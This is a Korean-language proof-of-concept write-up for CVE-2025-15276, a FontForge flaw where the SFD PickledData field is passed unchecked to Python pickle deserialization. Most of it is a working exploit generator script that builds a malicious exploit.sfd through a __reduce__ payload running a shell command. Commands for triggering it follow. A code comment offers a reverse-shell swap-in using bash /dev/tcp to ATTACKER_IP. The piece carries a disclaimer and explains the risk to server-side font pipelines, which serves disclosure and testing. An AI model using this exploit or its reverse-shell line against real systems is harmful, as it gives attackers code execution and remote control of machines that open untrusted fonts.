
CVE-2025-15276에 대한 개념 증명 - FontForge SFD 파일 파싱 신뢰할 수 없는 데이터 역직렬화 원격 코드 실행 취약점
본 개념 증명(PoC)은 교육 목적 및 보안 감사 전용입니다. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 항상 시스템에 대한 보안 테스트를 수행하기 전에 명시적 허가를 받으십시오.
CVE-2025-15276는 FontForge (버전 20230101까지 포함)에서 발견된 심각한 원격 코드 실행(RCE) 취약점입니다. 이 결함은 Spline Font Database (.sfd) 형식의 구문 분석, 특히 PickledData 필드에 존재합니다.
FontForge의 SFD 형식은 PickledData 키워드를 사용하여 영구적인 Python 사전을 저장할 수 있게 합니다. 폰트가 로드될 때, FontForge는 이 문자열을 추출하여 Python의 pickle.loads() 함수(또는 이에 상응하는 내부 역직렬화 루틴)에 직접 전달하며, 어떠한 검증이나 샌드박싱도 수행하지 않습니다.
Python pickle 모듈은 본질적으로 안전하지 않으며 임의의 객체 재구성을 허용하기 때문에, 공격자는 __reduce__ 메서드를 사용하여 FontForge를 실행하는 사용자의 권한으로 임의의 시스템 명령을 실행할 수 있습니다.
20230101 이하.다음 Python 스크립트(gen_poc.py)를 사용하여 exploit.sfd 파일을 생성합니다. 이 PoC는 안전한 침해 지표(IoC)로 /tmp/pwned 파일을 생성하도록 구성되어 있습니다.
import pickle
import os
# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd generated successfully.")
취약점은 FontForge로 파일을 열기만 하면 트리거됩니다.
옵션 A: 표준 GUI/CLI 로드
fontforge exploit.sfd
옵션 B: Python 스크립팅 인터페이스 (자동화 파이프라인에서 일반적)
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'
명령이 실행되었는지 확인합니다:
ls -l /tmp/pwned
이 취약점은 백엔드에서 FontForge를 사용하여 사용자가 업로드한 파일을 처리하는 폰트 처리 파이프라인(예: 웹 기반 폰트 변환기 또는 자동화된 검증 스크립트)에서 특히 위험합니다. 백엔드 스크립트가 신뢰할 수 없는 .sfd 파일에 대해 fontforge.open()을 호출하면, 공격자는 처리 서버에 대한 완전한 제어권을 얻습니다.
.sfd 파일 처리를 절대 허용하지 마십시오.